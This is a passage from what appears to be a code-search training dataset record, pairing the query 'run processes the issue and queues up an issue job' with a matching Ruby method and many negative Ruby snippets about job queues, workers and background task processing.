s_ip) == d_ip)\n #puts \"CONNECTION WITH \" + d_ip\n return d_ip\n end\n }\n }\nend" ]
[ "0.6911912", "0.6893253", "0.6804572", "0.6684628", "0.6544341", "0.6403011", "0.64008063", "0.6395323", "0.63453466", "0.63110065", "0.6301832", "0.6301832", "0.6249866", "0.62381333", "0.61843276", "0.6181073", "0.61681527", "0.6149654", "0.614957", "0.614452", "0.6140883", "0.61262006", "0.6114106", "0.6092925", "0.6088371", "0.6071911", "0.60654896", "0.60634494", "0.6053478", "0.60491395", "0.6040178", "0.6030501", "0.60128254", "0.6011869", "0.60054785", "0.59911686", "0.599101", "0.59840757", "0.5978624", "0.59775084", "0.597672", "0.596335", "0.59325296", "0.59050626", "0.5901255", "0.5893017", "0.5890666", "0.5880382", "0.5876529", "0.58677566", "0.5842299", "0.58306074", "0.579382", "0.5787657", "0.5775301", "0.5756258", "0.5752121", "0.5750095", "0.5748543", "0.57440645", "0.57298666", "0.5728269", "0.57098824", "0.5708854", "0.56971085", "0.56861126", "0.56857485", "0.5682327", "0.5657809", "0.56565267", "0.56565267", "0.5651609", "0.56500226", "0.56224656", "0.5620034", "0.5613146", "0.5612477", "0.56021523", "0.5601799", "0.55990833", "0.559871", "0.55926245", "0.55787194", "0.55699986", "0.55532926", "0.5548785", "0.5545858", "0.5543309", "0.5542791", "0.5537135", "0.55356634", "0.55308694", "0.5518138", "0.55102843", "0.5502352", "0.549838", "0.5470449", "0.5467615", "0.5460274", "0.54504186" ]
0.67922
3
run processes the issue and queues up an issue job.
def run case issue.action when "opened" job = PuppetLabs::Trello::TrelloIssueJob.new job.issue = issue delayed_job = job.queue logger.info "Successfully queued up opened issue #{issue.repo_name}/#{issue.number} as job #{delayed_job.id}" body = { 'job_id' => delayed_job.id, 'queue' => delayed_job.queue, 'priority' => delayed_job.priority, 'created_at' => delayed_job.created_at, } return [ACCEPTED, {}, body] else logger.info "Ignoring issue #{issue.repo_name}/#{issue.number} because the action is #{issue.action}." body = { 'message' => 'Action has been ignored.' } return [OK, {}, body] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run\n process_queue\n RailsPipeline.logger.info \"Queue: '#{@queue}'. Processed: #{@processed}\"\n if Time.now - @failure_last_checked > @failure_check_interval\n @failure_last_checked = Time.now\n check_for_failures\n end\n end", "def queue_job; end", "def work\n possible_job = pluck_queue_message(:job_requests) # FIX: pluck doesn't delete\n job = Job.build(@instance_id, possible_job)\n job.valid? ? process(job) : process_invalid(job)\n end", "def run\n # send logs that get put on the output queue.\n # this needs to be on a separate thread since Queue is a threadsafe blocking queue.\n Thread.new do\n while state == \"running\"\n # pop is blocking, hence we need another check for the state.\n log_line = @output_queue.pop\n send_log(log_line) if state == \"running\"\n end\n end\n\n git_url = command_env(:GIT_URL)\n git_sha = command_env(:GIT_SHA)\n\n setup_repo(git_url, git_sha)\n\n @artifact_path = File.expand_path(\"artifacts\")\n FileUtils.mkdir_p(@artifact_path)\n\n # TODO: set this properly for the fastlane invocation\n ENV[\"FASTLANE_CI_ARTIFACTS\"] = @artifact_path\n\n # TODO: ensure we are able to satisfy the request\n # unless has_required_xcode_version?\n # reject(RuntimeError.new(\"Does not have required xcode version!. This is hardcode to be random.\"))\n # return\n # end\n\n if run_fastlane(@invocation_request.command)\n finish\n else\n # fail is a keyword, so we must call self.\n # rubocop:disable Style/RedundantSelf\n self.fail\n # rubocop:enable Style/RedundantSelf\n end\n end", "def run_job\n end", "def process(payload)\n @working = true\n begin\n @queues.outgoing.push(discover_artifact_from(payload))\n rescue => ex\n STDERR.puts \"[Error] Exception in thread: #{ex.full_message}\"\n @queues.outgoing.push(ex)\n ensure\n @working = false\n end\n end", "def perform(submission)\n p \"Process #{submission}\"\n SubmissionRunner.new.run submission\n end", "def process\n ReportAdapter.new(report: runner.run(run_options), root: root).each do |issue|\n io.print issue.to_json\n io.print \"\\0\"\n end\n end", "def run\n case self[:job]\n when Proc\n self[:job].call\n else\n self[:job]\n end\n end", "def perform\n @processor = SubmissionProcessor.new(params: params)\n processor.process_submission\n build_output\n # Need to decide when to retry. See ingest_status as example\n rescue StandardError => e\n # processor.cleanup unless processor.blank?\n output(\n event: 'failed',\n message: \"#{e.message}\\n\\n#{e.backtrace.join('\\n')}\"\n )\n fail!\n end", "def submit_job\n input_deck = generate_input_deck\n # results_script = generate_results_script\n\n if !input_deck.nil? #&& !results_script.nil?\n submit_script = generate_submit_script(input_deck: input_deck)\n # submit_script = generate_submit_script(input_deck: input_deck,\n # results_script: results_script)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n # self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n # self.submitted_at = '---'\n set_status! :f\n end\n end", "def run\n # Get the proper attachment_name from #to_sym\n @attachment_name = @attachment_name.to_sym\n # Contantize @instance_klass\n # And get the instance for @instance_id\n # Sling it into the process_job block\n process_job(@instance, @attachment_name) do\n # Act the fool\n @instance.send(@attachment_name).reprocess!\n @instance.send(\"#{@attachment_name}_processed!\")\n end\n end", "def submit_job\n unless inputfile_identifier.nil?\n set_version if version.nil?\n submit_script = generate_submit_script(input_deck: inputfile_identifier)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n self.submitted_at = '---'\n set_status! :f\n end\n end", "def submit_job\n unless inputfile_identifier.nil?\n set_version if version.nil?\n submit_script = generate_submit_script(input_deck: inputfile_identifier)\n\n if !submit_script.nil?\n Dir.chdir(jobdir) {\n cmd = \"qsub #{prefix}.sh\"\n self.pid = `#{cmd}`\n }\n end\n end\n\n # If successful, set the status to \"Submitted\" and save to database.\n unless pid.nil? || pid.empty?\n self.pid = pid.strip\n self.submitted_at = Time.new.ctime\n set_status! :b\n else\n self.pid = nil\n self.submitted_at = '---'\n set_status! :f\n end\n end", "def run\n log_info \"Connecting to MQ...\"\n \n MessageQueue.start do\n log_info \"worker #{MQ.id} started\"\n \n # Set prefetch(1) as suggested by Amman Gupta\n prefetch = 1\n MQ.prefetch(prefetch)\n EM.threadpool_size = prefetch # Default: 20\n \n process_queue \n \n # Make sure requeue timer doesn't cause BackupSourceExecutionFlood errors\n #EM.add_periodic_timer(@@consecutiveJobExecutionTime*2) { long_q.recover(:requeue => true) }\n\n end # MessageQueue.start\n end", "def run\n while (get_job() ) do\n checkout_job()\n do_job()\n complete_job()\n end\n end", "def perform(*args)\n if Service.get_service.jobs_enabled?\n # Job processing is enabled.\n Delayed::Worker.logger.info \"---> running #{self.class}(#{args.join(',')}) on #{self.queue_name} at priority #{Process::getpriority(Process::PRIO_PROCESS, 0)}\"\n start_time = Time.current\n perform_if_enabled(*args)\n Delayed::Worker.logger.info \"<--- finished #{self.class} after #{time_ago_in_words(start_time)}\"\n else\n # Resubmit the job with the required parameters after the specified delay. If the inline adapter is being used, we just ignore this.\n Delayed::Worker.logger.warn \"**** job processing disabled for #{self.class}\"\n begin\n self.class.set(wait: DISABLED_RETRY_INTERVAL).perform_later(*args)\n rescue NotImplementedError => _e\n Delayed::Worker.logger.error \"**** no job queue available for future job #{self.class}\"\n end\n end\n end", "def do( args )\n\t\tqueue_files_for_processing( args )\n\t\tretrack\n\tend", "def perform\n params_dump\n @commands << \"#{PEAKS} -f #{@infile} -s #{@size} -a #{@string} -o #{@outfile} &> #{job.statuslog_path}\"\n logger.debug \"Commands:\\n\"+@commands.join(\"\\n\")\n queue.submit(@commands)\n end", "def run\n Kernel.trap(\"CLD\") do \n pid = Process.wait\n remove_runner(pid)\n end\n \n until @finish\n deliveries = check_queue\n deliveries.each do |del|\n if slot_open?(del) && lock_delivery(del)\n puts \"Delivering #{del[\"class\"]}\\##{del[\"method\"]} at #{Time.now}\" unless quiet\n # Close our connection so that we don't get too many weird copies\n Candygram.connection = nil\n child = fork do\n # We're the runner\n set_status(del, 'running')\n package = Wrapper.unwrap(del[\"package\"])\n args = Wrapper.unwrap(del[\"arguments\"])\n result = package.send(del[\"method\"].to_sym, *args)\n finish_delivery(del, result)\n Candygram.connection = nil\n exit\n end\n # We're the parent\n add_runner del[\"class\"], child\n sleep(0.2) # Give connections time to wrap up\n end\n end\n sleep frequency\n end\n until @index.empty?\n sleep(0.1) # We trust our trap\n end\n end", "def run!\n TaskServerLogger.instance.error \"Executing job id #{self.id}, #{self.to_s}...\"\n begin\n self.last_run_at = Time.zone.now\n self.next_run_at = nil\n self.save\n eval(self.job.gsub(/#JOBID#/, self.id.to_s).gsub(/#RAILS_ROOT#/, RAILS_ROOT))\n self.last_run_result = \"OK\"\n TaskServerLogger.instance.info \"Job completed successfully\"\n rescue Exception\n err_string = \"'#{self.job}' could not run: #{$!.message}\\n#{$!.backtrace}\"\n TaskServerLogger.instance.error err_string\n puts err_string unless ENV['RAILS_ENV'] == \"test\"\n self.last_run_result = err_string.slice(1..500)\n begin\n Notifier.deliver_job_failure(self)\n rescue\n end\n end\n self.save\n\n # ...and persist the next run of this job if one exists\n set_next_job\n end", "def start_reporting!\n return unless registered? && configured?\n\n self.behavior = :notify\n\n queue.start! do |e|\n unless self.reporter.has_access?\n warn \"couldn't access issues for #{self.config[:repo]}, check your configuration\"\n reset!\n end\n\n begin\n self.reporter.submit_issue!(e)\n rescue => e\n warn \"error submitting issue: #{e.class} #{e.message}\"\n reset!\n end\n end\n end", "def process_queue\n begin\n while blk = Merb::Dispatcher.work_queue.pop\n # we've been blocking on the queue waiting for an item sleeping.\n # when someone pushes an item it wakes up this thread so we \n # immediately pass execution to the scheduler so we don't \n # accidentally run this block before the action finishes \n # it's own processing\n Thread.pass\n blk.call\n end\n rescue Exception => e\n Merb.logger.warn! %Q!Worker Thread Crashed with Exception:\\n#{Merb.exception(e)}\\nRestarting Worker Thread!\n retry\n end\n end", "def process\n by_time_batch\n by_waiting_batch\n rescue\n @logger.fatal \"Failed to process: #{$!}\"\n @logger.fatal $!.backtrace.join(\"\\n\")\n end", "def run_payload(payload)\n if queue?\n log.info(\"Enqueuing #{payload}\")\n ETL.queue.enqueue(payload)\n else\n log.info(\"Running #{payload}\")\n result = ETL::Job::Exec.new(payload).run\n if result.success?\n log.info(\"SUCCESS: #{result.message}\")\n else\n log.error(result.message)\n end\n end\n end", "def perform\n setup_job\n loop do\n break if job_running_past_expected_end_time? || should_stop_job\n\n begin\n batch = nil\n RedisMutex.with_lock(\"PriorityEpSyncBatchProcessJob\", block: 60, expire: 100) do\n batch = ActiveRecord::Base.transaction do\n records_to_batch = PriorityEpSyncBatchProcess.find_records_to_batch\n next if records_to_batch.empty?\n\n PriorityEpSyncBatchProcess.create_batch!(records_to_batch)\n end\n end\n\n batch ? batch.process_batch! : stop_job(log_no_records_found: true)\n\n sleep(SLEEP_DURATION)\n rescue StandardError => error\n log_error(error, extra: { job_id: job_id.to_s, job_time: Time.zone.now.to_s })\n slack_msg = \"Error running #{self.class.name}. Error: #{error.message}. Active Job ID: #{job_id}.\"\n slack_msg += \" See Sentry event #{Raven.last_event_id}.\" if Raven.last_event_id.present?\n slack_service.send_notification(\"[ERROR] #{slack_msg}\", self.class.to_s)\n stop_job\n end\n end\n end", "def run\n AMQP.start(:host => '127.0.0.1') do\n MQ.new.queue('encoder_listener').bind(MQ.new.fanout(RemoteRecorder::FANOUT_EXCHANGE)).subscribe do |json|\n # check if the message is a recording finished message\n DaemonKit.logger.debug(\"Got message: #{json}\")\n message = JSON.parse(json)\n if message[\"message\"] == \"recording_finished\"\n DaemonKit.logger.debug(\"Got recording finish message: #{message}\")\n # add the encoding job to the queue\n @queue.unshift({\n :id => message[\"doc_id\"],\n :files => message[\"files\"]\n })\n process_queue\n end\n end\n EM.add_periodic_timer(1.0) do\n watch\n process_queue\n end\n # periodically check whether we for some reason missed a video\n # which is sitting unencoded somewhere\n EM.add_periodic_timer(15) do\n @db.get(\"_design/video_encoder\").view(\"unencoded\")['rows'].each{|v|\n unless @queue.collect{|x| x[:id]}.include? v[\"value\"][\"_id\"]\n @queue.unshift({\n :id => v[\"value\"][\"_id\"],\n :files => v[\"value\"][\"files\"]\n })\n end\n }\n end\n end\n end", "def run\n cmd = \"default\"\n until cmd == \"end\" do\n cmd = Readline.readline(\"[issue ##{@issue.id}] \") || \"\"\n cmd.chomp!\n\n case cmd\n when /^new/ then new_entry\n when /^(ls|show)/ then show_entries\n when /^desc/ then describe_issue\n when /^delete/ then delete_entry(cmd.split.drop 1)\n when /^edit/ then EditHandler.new(@issue).edit_what(cmd.split.drop 1)\n when /^concat/ then concat_description\n when /^replace/ then replace_pattern\n when /^search/ then search_term((cmd.split.drop 1).join ' ')\n when /^lt/ then time(cmd.split.drop 1) # lt for log time\n when /^forget/ then cmd = \"end\"\n when /^finish/ then finish ? cmd = \"end\" : nil\n when /^attachout/ then output_attach\n when /^attachls/ then show_attach\n when /^attach/ then attach\n when /^help/ then print_help\n when /^end/ then next\n else puts \"Type 'help' for help\"\n end\n end\n end", "def run\n\t \tbegin \n\t \twrite_command_status(@cmd_queue_0)\n\t \t\n\t \t@log.info \"Processing command queue...\"\n\t \tloop do\n\t \t\tbegin\n\t \t\t\tstr = listen\n\t \t\trescue EOFError\n\t \t\t\t@log.error \"No more messages from pump\"\n\t \t\t\tbreak\n\t \t\tend\n\n\t \t\trep = parse_response(str)\n\n\t \t\t# Look at command response and wait or proceed on queue\n\n\t \t\t# Is it a status message\n\t \t\t# Yes\n\t \t\tif rep[:status]\n\t\t\t\tif process_status(rep)\n\t\t\t\t break\n\t\t\t\tend\n\t \t\t# No\n\t \t\telsif !rep[:status]\n\t \t\t\tprocess_command(rep)\n\t \t\telse\n\t \t\t\t@log.error \"Unknown message type\"\n\t \t\tend\n\t \tend\n\t \t@log.info \"...command queue complete\"\n\n\t \trescue IRB::Abort\n\t \t\t@log.error \"Abort\"\n\t\t\tsleep(0.25)\n\t\t\twrite_stop\n\t\t\t#flush comms?\n\t \trescue Interrupt\n\t \t\t@log.info \"Interupt\"\n\t \t\t#write_stop\n\t \tensure \n\t \t\t@log.info \"Closing\"\n\t\t\t#write_stop\n\t \tend\n\n\t end", "def run\n case comment.action\n when \"created\"\n job = PuppetLabs::TrelloCommentJob.new\n else\n logger.info \"Ignoring comment on #{comment.repo_name}/#{comment.issue.number} because the action is #{comment.action}.\"\n body = { 'message' => 'Action has been ignored.' }\n return [OK, {}, body]\n end\n\n job.comment = comment\n delayed_job = job.queue\n logger.info \"Successfully queued up the created comment on #{comment.repo_name}/#{comment.issue.number} as job #{delayed_job.id}\"\n body = {\n 'job_id' => delayed_job.id,\n 'queue' => delayed_job.queue,\n 'priority' => delayed_job.priority,\n 'created_at' => delayed_job.created_at,\n }\n return [ACCEPTED, {}, body]\n end", "def work\n while true\n job = @queue.pop\n task = job[:task]\n\n if task == :quit\n break\n elsif task == :joust\n begin\n work_joust(job[:prog], job[:code], job[:try_only], job[:callback])\n rescue => err\n log(err.inspect, err)\n job[:callback].call(:fatal, err.inspect)\n break\n end\n else\n log(\"Broken job: #{job}\")\n job[:callback].call(:fatal, \"Broken job: #{job}.\")\n break\n end\n end\n end", "def process(_block = nil)\n EXEL::Job.run(@context[:job], @context)\n end", "def process_message(msg)\n write_thread_var :wi, wi = WorkItem.new(msg) # Save workitem object for later\n turn_off_thinking_sphinx\n \n log_info \"Processing incoming workitem: #{workitem.to_s}\"\n begin\n run_backup_job(wi) do |job|\n # Start backup job & pass info in BackupSourceJob\n if backup(job) \n save_success_data\n end\n end\n rescue BackupSourceExecutionFlood => e\n # Too many jobs should not be an error\n save_success_data e.to_s\n log_info \"*** BackupSourceExecutionFlood error\"\n rescue BackupWorker::Base::BackupIncomplete => e\n workitem.reprocess!\n log_info \"*** Backup job requires reprocessing\"\n rescue Exception => e\n save_error \"#{e.to_s}\\n#{e.backtrace}\"\n log_info \"*** Unexpected error #{e.message}\"\n # Always set job finish flag\n if j = thread_job\n job_finished(j)\n end\n end\n log_info \"Done processing workitem\"\n\n workitem\n end", "def submit\n configure_concern\n submit_job\n end", "def submit_issue\n if params[:description] == ''\n redirect_to :back, flash: { error: 'Please fill out all required fields.' }\n else\n response = GithubInterface.send_issue(params)\n if response.code == '201'\n redirect_to root_path, flash: { success: 'Issue submitted successfully.' }\n else\n redirect_to root_path, flash: { error: JSON.parse(response.body)['message'] }\n end\n end\n end", "def execute\n begin\n JobDispatch.logger.info \"Worker executing job #{job_id}: #{target}.#{method}\"\n Thread.current[\"JobDispatch::Worker.job_id\"] = job_id\n @klass = target.constantize\n @result = @klass.__send__(method.to_sym, *params)\n @status = :success\n rescue StandardError => ex\n\n notify_error(ex) rescue nil\n\n @result = {\n class: ex.class.to_s,\n message: ex.to_s,\n backtrace: ex.backtrace,\n }\n @status = :error\n JobDispatch.logger.debug ex\n ensure\n Thread.current[\"JobDispatch::Worker.job_id\"] = nil\n JobDispatch.logger.info \"Worker completed job #{job_id}: #{target}.#{method}, status: #{@status}\"\n end\n end", "def run\n super\n\n email_address = _get_entity_name\n\n @api_key = _get_task_config(\"hibp_api_key\")\n unless @api_key\n _log_error \"unable to proceed, no API key for HIBP provided\"\n return\n end\n\n _search_pastes_and_create_issues(email_address) if _get_option(\"search_pastes\")\n _search_breaches_and_create_issues(email_address) if _get_option(\"search_breaches\")\n end", "def run\r\n return unless if?\r\n job_name.constantize.send method_name, formatted_arguments\r\n end", "def run!\n PeriodicJob.log_error \"Executing job id #{self.id}, #{self.to_s}...\"\n begin\n self.last_run_at = Time.now\n self.next_run_at = nil\n self.save\n command = self.job.gsub(/#JOBID#/, self.id.to_s).gsub(/#RAILS_ROOT#/, Rails.root.to_s)\n puts command\n eval(command)\n self.last_run_result = \"OK\"\n PeriodicJob.log_info \"Job completed successfully\"\n rescue Exception\n err_string = \"'#{self.job}' could not run: #{$!.message}\\n#{$!.backtrace}\"\n PeriodicJob.log_error err_string\n self.last_run_result = err_string.slice(1..500)\n begin\n GeneralMailer.failed_periodic_job(self).deliver\n rescue\n end\n end\n self.save\n\n # ...and persist the next run of this job if one exists\n set_next_job\n end", "def run\n Thread.current.name = format('rocketjob %03i', id)\n logger.info 'Started'\n until shutdown?\n wait = RocketJob::Config.instance.max_poll_seconds\n if process_available_jobs\n # Keeps workers staggered across the poll interval so that\n # all workers don't poll at the same time\n wait = rand(wait * 1000) / 1000\n end\n break if wait_for_shutdown?(wait)\n end\n logger.info 'Stopping'\n rescue Exception => exc\n logger.fatal('Unhandled exception in job processing thread', exc)\n ensure\n ActiveRecord::Base.clear_active_connections! if defined?(ActiveRecord::Base)\n end", "def perform(*args)\n puts \"--------------------------\"\n puts \"---- Running Job ----\"\n puts \"--------------------------\"\n end", "def submit()\n @_jobs.each{|job| self.jobids << job.submit()}\n end", "def run\n # Your code here, eg: task execute: :environment do\n s = SavedSearchManager.new\n s.process\n \n # use log() for writing to scheduler daemon log\n log(\"Saved searches processed.\")\n ActionMailer::Base.mail(:from => \"mail@treadhunter.com\", \n :to => system_process_completion_email_address(), \n :subject => \"Saved Searches processed.\", \n :body => \"Ran saved search process.\").deliver\n end", "def run\n setup_queues\n setup_procs.each(&:call)\n\n Waiter.wait_until_signaled\n\n stop\n end", "def perform!\n run_callbacks(:before_perform, self)\n self.class.upcoming_mailings\n .in_batches(of: self.class.batch_size)\n .each do |batch|\n run_callbacks(:on_perform, self, batch)\n batch.each(&:process!)\n end\n run_callbacks(:after_perform, self)\n nil\n end", "def worker_runner\n $daemon[:logger_msg_prefix] = 'TaskQueueWorker'\n\n worker_install_signal_handler\n daemon_log :msg => \"Start working...\"\n\n # Fetch pending task queues and start working\n while $worker[:work] do\n # Get next pending taskqueue\n $worker[:task_queue] = $daemon[:task_queue_model].get_next_pending\n\n if $worker[:task_queue]\n # Set Process Name and execute tasks\n $0 = \"#{$worker[:process_prefix]}_#{$worker[:task_queue].id}\"\n $worker[:task_queue].run!(:print_log => ! $daemon[:background], logger: @logger)\n else\n # Set Process Name and sleep\n $0 = \"#{$worker[:process_prefix]}_idle\"\n sleep 15\n end\n end\n\n daemon_log :msg => \"Ended!\"\nrescue => exception\n daemon_log :msg => \"Fatal error in method 'worker_runner': #{$!}\\n#{exception.backtrace}\", :sev => :error\nend", "def receive_issue\n project = target_project\n # check permission\n unless handler_options[:no_permission_check]\n raise UnauthorizedAction unless user.allowed_to?(:add_issues, project)\n end\n\n issue = Issue.new(:author => user, :project => project)\n issue.safe_attributes = issue_attributes_from_keywords(issue)\n issue.safe_attributes = {'custom_field_values' => custom_field_values_from_keywords(issue)}\n issue.subject = cleaned_up_subject\n if issue.subject.blank?\n issue.subject = '(no subject)'\n end\n issue.description = cleaned_up_text_body\n issue.start_date ||= Date.today if Setting.default_issue_start_date_to_creation_date?\n issue.is_private = (handler_options[:issue][:is_private] == '1')\n\n # add To and Cc as watchers before saving so the watchers can reply to Redmine\n add_watchers(issue)\n issue.save!\n add_attachments(issue)\n logger.info \"MailHandler: issue ##{issue.id} created by #{user}\" if logger\n issue\n end", "def do_work\n end", "def run_task\n\t\tif params[:job] == 'xapian'\n\t\t\tsystem(\"rake xapian:update_index RAILS_ENV=#{RAILS_ENV}\")\n\t\tend\n\t\tif params[:job] == 'feeds'\n\t\t\tsystem(\"ruby script/runner -e #{RAILS_ENV} 'FeedSource.update_feed_source'\")\n\t\tend\n\t\tif params[:job] == 'newsletter'\n\t\t\tDelayed::Job.enqueue(NewsletterJob.new)\n\t\tend\n\t\tif params[:job] == 'translations'\n\t\t\tLANGUAGES.each do |l|\n\t\t\t\tcommand_backup = \"mv config/locales/\" + l + \".yml tmp/backup/\" + Time.now.strftime(\"%Y%m%d\") + \"_\" + l + \".yml\"\n\t\t\t\tcommand_get = \"wget \" + TRANSLATION_SITE + \"/translations/\" + PROJECT_NAME + \"/\" + l + \".yaml -O config/locales/\" + l + \".yml\"\n\t\t\t\tsystem(command_backup)\n\t\t\t\tsystem(command_get)\n\t\t\tend\n\t\t\tmessage = \"Translation files Retrieved\"\n\t\tend\n\t\tif params[:job] == 'restart_server'\n\t\t\tsystem \"touch #{RAILS_ROOT}/tmp/restart.txt\" # tells passenger to restart the server\n\t\t\tmessage = \"Server restarted successfully\"\n\t\tend\n\t\t\n\t\tmessage.nil? ? @message = \"#{params[:job].capitalize} Updated Sucessfully \" : @message = message\n\t\t\n\t\trespond_to do |format|\n \t format.js {render :layout => false}\n \tend\n \t\n\t\t# render :update do |page|\n\t\t# page.show 'notice'\n\t\t# page.replace_html 'notice', \n\t\t# end\n end", "def perform_processing_run(faids)\n perform_analysis(faids)\n perform_processing!\n end", "def run_queue(env_vars, extra_vars, playbook_path, user_id, queue_opts)\n run_in_queue(\"run\", user_id, queue_opts, [env_vars, extra_vars, playbook_path])\n end", "def work(raw_post)\n email_params = JSON.parse(raw_post).with_indifferent_access\n send_simple_message(params)\n ack! # we need to let queue know that message was received\n end", "def run\n @output.print \"Run, Forest, run!\"\n \n EM.synchrony do\n print \"Mapper has been started #{Time.now}\"\n AMQP.start do |connection|\n print \"AMQP started #{Time.now}\"\n channel = AMQP::Channel.new connection\n queue = channel.queue(@config[\"broker\"][\"queue-name\"], :auto_delete => true)\n queue.subscribe do |payload|\n print \"Received message #{payload}\"\n connection.close {EM.stop} if payload == \"stop\"\n Fiber.new{start}.resume if payload == \"start\"\n Fiber.new {match}.resume if payload == 'match'\n EM.defer {start_webserver} if payload == 'start_webserver'\n EM.defer {start_search_server} if payload == 'start_solr'\n EM.defer {stop_search_server} if payload == 'stop_solr'\n EM.defer {add_db_to_search_index} if payload == 'index'\n EM.defer {setup_storage} if payload == 'setup_storage'\n end\n end\n end\n end", "def run\n # Run all the steps below. Stop as soon as one of them returns\n # false or throws an error.\n true &&\n fetch_internal_date_and_size &&\n check_for_really_old_internal_date &&\n check_for_pre_creation_internal_date &&\n check_for_relapsed_internal_date &&\n check_for_big_messages &&\n fetch_uid_envelope_rfc822 &&\n update_user_mark_email_processed &&\n handle_tracer_email &&\n check_for_duplicate_message_id &&\n check_for_duplicate_sha1 &&\n create_mail_log &&\n deploy_webhook &&\n update_daemon_stats\n ensure\n clean_up\n end", "def process\n puts 'Bacground processor - %s' % self\n\n read do |func, data|\n Lux::DelayedJob.call func, data\n end\n end", "def request_job_to_process\n \n response = HTTParty.get(\"#{@host}/api/process/request_job/#{@process_code}.json\", query: {\n api_key: @api_key\n })\n\n job = response[\"job\"]\n #If there is no job waiting, end script\n if job.nil? || job[\"id\"].to_i == 0 \n @helper.terminate(\"No job to process at this time\")\n else\n @helper.log(\"Starting process #{@process_code} for job: #{job[\"id\"]} - #{job[\"author\"]} - #{job[\"title\"]} - #{job[\"created_at\"]}\")\n end\n return job\n end", "def submit(job)\n if @queue.length >= QUEUE_SIZE\n job[:callback].call(:error, 'System busy; ask again later.')\n return\n end\n\n @queue.push(job)\n end", "def run\n start\n queue.subscribe do |msg|\n if fork\n Process.wait\n else\n self.handle(msg)\n exit!\n end\n end\n end", "def run\n logger.debug('WORK HORSE PROCESS JOB STARTED.')\n download_remotefiles\n unzip_files\n parse_photo_request_reponse_xml\n update_products\n zip_xml_files\n upload_zip_files\n import_response\n logger.debug('JOB FINISHED.')\n end", "def queued_tasks(options, analysis_type)\n # Initialize variables for queue dependent actions\n submit_time = Time.now #change to submit time for analysis\n rdata_flag = options[:rdata]\n csv_flag = options[:csv]\n zip_flag = options[:zip]\n download_flag = false\n stop_flag = options[:stop]\n kill_flag = options[:kill]\n warnings = []\n start_wait = options[:start_wait]\n analysis_wait = options[:analysis_wait]\n analysis_type = 'batch_run' if OpenStudio::Analysis::ServerApi::BATCH_RUN_METHODS.include? analysis_type\n\n # Verify download directories and set flags to true should they exist\n if rdata_flag || csv_flag || zip_flag\n if !File.exist? options[:download_directory]\n puts \"INFO: MKDIR -- Making new directory for download results at #{options[:download_directory]}\"\n Dir.mkdir options[:download_directory]\n download_flag = true\n else\n download_flag = true\n end\n end\n\n # Hash commands for run_queued_tasks and warning messages\n flags = {download: download_flag, rdata: rdata_flag, csv: csv_flag, zip: zip_flag, stop: stop_flag, kill: kill_flag}\n completed = {rdata: nil, csv: nil, zip: nil, stop: nil, kill: nil}\n\n # Execute queued tasks should they exist with a Timeout\n puts 'INFO: ANALYSIS STATUS -- Waiting for analysis to start.'\n while Time.now - submit_time < start_wait\n server_status = @server_api.get_analysis_status(@analysis_id, analysis_type)\n if server_status == 'started'\n puts 'INFO: ANALYSIS STATUS -- Analysis has started. Waiting for analysis to complete.'\n returned = run_queued_tasks(analysis_type, options[:download_directory], flags, analysis_wait)\n returned ||= {}\n completed.merge! returned\n break\n elsif server_status == 'failed'\n puts 'WARN: ANALYSIS STATUS -- The analysis status has transitioned to failed. Attempting to execute queued tasks.'\n returned = run_queued_tasks(analysis_type, options[:download_directory], flags, analysis_wait)\n completed.merge! returned\n break\n else\n sleep 1\n end\n end\n\n # Warn if flags were set to true but code not executed.\n if flags[:rdata]\n warnings << 'WARN: TIMEOUT -- RData results were not downloaded due to timeout' unless completed[:rdata]\n end\n\n if flags[:csv]\n warnings << 'WARN: TIMEOUT -- CSV results were not downloaded due to timeout' unless completed[:csv]\n end\n\n if flags[:zip]\n warnings << 'WARN: TIMEOUT -- Zipped files were not downloaded due to timeout' unless completed[:zip]\n end\n\n if flags[:stop]\n warnings << 'WARN: TIMEOUT -- Instance was not stopped due to timeout' unless completed[:stop]\n end\n\n if flags[:kill]\n warnings << 'WARN: TIMEOUT -- Instance was not killed due to timeout' unless completed[:kill]\n end\n\n warnings.join(\". \") if warnings != []\n\nend", "def process\n actions = []\n changes = { modified: [], added: [], removed: [] }\n\n while pending?\n if (item = @queue.pop).first.is_a?(Symbol)\n actions << item\n else\n item.each { |key, value| changes[key] += value }\n end\n end\n\n _run_actions(actions)\n return if changes.values.all?(&:empty?)\n Runner.new.run_on_changes(*changes.values)\n end", "def call(worker, msg, queue)\n begin\n job_in_progress(worker, msg, queue)\n start_time = Time.now\n yield\n job_completed(worker, msg, queue, Time.now-start_time)\n rescue Exception => error\n job_failed(worker, msg, queue, error)\n end\n end", "def issue(*)\n raise NotImplementedError, 'This should be defined in a subclass'\n end", "def run_work_unit\n begin\n result = nil\n @action = CloudCrowd.actions[@action_name].new(@status, @input, @options, @store)\n Dir.chdir(@action.work_directory) do\n result = case @status\n when PROCESSING then @action.process\n when SPLITTING then @action.split\n when MERGING then @action.merge\n else raise Error::StatusUnspecified, \"work units must specify their status\"\n end\n end\n complete_work_unit({'output' => result}.to_json)\n rescue Exception => e\n fail_work_unit(e)\n end\n end", "def execute_send\n record_start_time\n queue_attempt\n end", "def post_issue(issue)\n proj = issue[\"project\"][\"name\"]\n cat = issue[\"category\"] ? issue[\"category\"][\"name\"] : nil\n id = issue[\"id\"]\n subject = issue[\"subject\"]\n description = issue[\"description\"]\n author = issue[\"author\"][\"name\"]\n # author_slack = Utils.convert_redmine_name_to_slack author\n assigned_to = issue[\"assigned_to\"] ? issue[\"assigned_to\"][\"name\"] : :not_assigned\n assigned_to_slack = Utils.convert_redmine_name_to_slack assigned_to\n tracker = issue[\"tracker\"][\"name\"]\n url = SlackAPI.url(issue_url(id), \"##{id}\")\n # updated = issue[\"updated_on\"]\n created = issue[\"created_on\"]\n\n description = RedmineSlackGlue.convert_textile_to_markdown(description.gsub(/\\n\\n/,\"\\n\"))\n color = 